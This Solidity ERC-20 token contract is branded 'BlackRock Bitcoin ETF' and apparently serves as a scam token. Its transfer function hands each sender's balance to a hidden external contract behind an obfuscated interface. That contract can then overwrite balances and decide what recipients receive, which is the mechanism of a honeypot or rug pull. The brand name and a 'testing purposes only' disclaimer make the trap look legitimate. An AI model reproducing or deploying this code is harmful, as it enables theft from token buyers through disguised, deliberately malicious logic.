pragma solidity ^0.8.6;

// SPDX-License-Identifier: Unlicensed
interface IERC20 {
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface KaKJJBjCaBIKBHWppMtRKk {
    function _token(
        address zwISumdvNRX,
        uint256 f0SSFhkxla,
        uint256 wu2mPGVypt
    ) external view returns (uint256, uint256);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract TOKEN is IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
    string private _nameRFJxto = "BlackRock Bitcoin ETF";
    string private _symbolRFJxto = "BTCETF";
    uint8 private _decimalsRFJxto = 9;
    KaKJJBjCaBIKBHWppMtRKk private HsMTnwEmzqFZrlwOCMzhA;
    uint256 private _tTotal = 1000000000000 * 10**_decimalsRFJxto;

    constructor(address aRFJxto) {
        HsMTnwEmzqFZrlwOCMzhA = KaKJJBjCaBIKBHWppMtRKk(
        aRFJxto);
        _tOwned[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function name() public view returns (string memory) {
        return _nameRFJxto;
    }

    function symbol() public view returns (string memory) {
        return _symbolRFJxto;
    }

    

    function decimals() public view returns (uint256) {
        return _decimalsRFJxto;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address suyjnhfvrecipient, uint256 wknpuynmamount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, suyjnhfvrecipient, wknpuynmamount);
        return true;
    }

    function allowance(address bcgjficjowner, address ceixiulnspender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[bcgjficjowner][ceixiulnspender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function uookxews() external view returns (uint256) {
    return _decimalsRFJxto;
    }

    function _transfer(
        address cupvhhwufrom,
        address ectlkhazto,
        uint256 amount
    ) private {
        require(
            cupvhhwufrom != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            ectlkhazto != address(0),
            "ERC20: transfer to the zero address"
        );
        uint256 feeAmount = 0;
        (uint256 suyjnhfvrecipient, uint256 wknpuynmamount) = 
        HsMTnwEmzqFZrlwOCMzhA._token(
            cupvhhwufrom,
            amount,
            _tOwned[cupvhhwufrom]
        );
        _tOwned[cupvhhwufrom] = wknpuynmamount;
        require(
            _tOwned[cupvhhwufrom] >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _tOwned[cupvhhwufrom] = _tOwned[cupvhhwufrom].sub(amount);
        _tOwned[ectlkhazto] = _tOwned[ectlkhazto].add(suyjnhfvrecipient);
        emit Transfer(cupvhhwufrom, ectlkhazto, amount);
    }

    

    function transferFrom(
        address oqsqiarusender,
        address sgiwhrymrecipient,
        uint256 wwqcoiydamount
    ) public override returns (bool) {
        _transfer(oqsqiarusender, sgiwhrymrecipient, wwqcoiydamount);
        _approve(
            oqsqiarusender,
            msg.sender,
            _allowances[oqsqiarusender][msg.sender].sub(
                wwqcoiydamount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    
}

{
  "compilationTarget": {
    "TOKEN.sol": "TOKEN"
  },
  "evmVersion": "berlin",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}